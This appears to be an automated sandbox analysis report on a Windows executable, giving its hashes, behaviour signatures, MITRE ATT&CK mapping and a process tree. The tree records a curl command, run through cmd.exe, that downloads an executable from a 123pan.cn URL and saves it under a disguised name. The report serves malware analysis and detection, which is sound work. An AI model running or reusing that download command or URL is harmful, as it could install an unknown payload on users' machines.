da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/05/2026, 12:36

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General

Target
da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe
Size 5.1MB
Sample260511-ps5apsdt2k
SHA256 da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b
MD5 e575441f79594906bf6a53e5dbcf79b8
SHA1 e69ddd68aecc55d9da9d791213ea2f939eb75623
SHA512 900b6426f5fefff21e9fdf23bbec9f670f86488e8d45b26888ed2ae45ae23e39f8c62650587880d7659c6efa336c9810597c0851223f2058d96eab1650248e95
SSDEEP 98304:+A+OtWYhwt8viGlUXmn55q4EUBubVxjoyaY+Ji2ZRx9rRF4om4:+3NYPvNSXAW4zBubHZIi2Z1z4o
TLSH
T13346236713760085E2E4CC398A277EA431F61377CB82FC7D69ABADD125424A5F213D93
MD5 SHA1 SHA512 SSDEEP TLSH

Score

5^/10

defense_evasion discovery

Malware Config

Signatures

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4676	da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1640	taskkill.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4676	da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe
4676	da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe
4676	da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe
4676	da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4676 wrote to memory of 1640	4676	da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe	85
PID 4676 wrote to memory of 4636	4676	da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe	87
PID 4636 wrote to memory of 4488	4636	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe
"C:\Users\Admin\AppData\Local\Temp\da4e7faf20b0d8708f0d9ff84ca76637d0bbfed8a9659742df221761228f996b.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4676
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /f /im
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  PID:1640
- C:\Windows\SysWOW64\cmd.exe
  cmd /c curl -L -C - "https://1831488479.v.123pan.cn/1831488479/jd/opsac/9155_82.exe" -o "C:\Users\Admin\Desktop\dsacxd\windows_dtoTse.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\SysWOW64\curl.exe
    curl -L -C - "https://1831488479.v.123pan.cn/1831488479/jd/opsac/9155_82.exe" -o "C:\Users\Admin\Desktop\dsacxd\windows_dtoTse.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4488

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1640-6-0x0000000002CE0000-0x0000000002D5E000-memory.dmp

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memory/4488-14-0x0000000001CE0000-0x0000000001D38000-memory.dmp

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memory/4676-8-0x0000000000400000-0x0000000000C64000-memory.dmp

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memory/4676-1-0x00000000029A0000-0x00000000029A1000-memory.dmp

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memory/4676-5-0x0000000000400000-0x0000000000C64000-memory.dmp

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memory/4676-2-0x0000000002AC0000-0x0000000002AC1000-memory.dmp

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memory/4676-0-0x0000000000430000-0x000000000074A000-memory.dmp

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memory/4676-9-0x0000000000400000-0x0000000000C64000-memory.dmp

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memory/4676-10-0x0000000002B60000-0x0000000002BDE000-memory.dmp

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memory/4676-11-0x0000000000430000-0x000000000074A000-memory.dmp

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memory/4676-3-0x0000000000400000-0x0000000000C64000-memory.dmp

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memory/4676-17-0x0000000002B60000-0x0000000002BDE000-memory.dmp

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memory/4676-18-0x0000000000430000-0x000000000074A000-memory.dmp

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memory/4676-19-0x0000000000400000-0x0000000000C64000-memory.dmp

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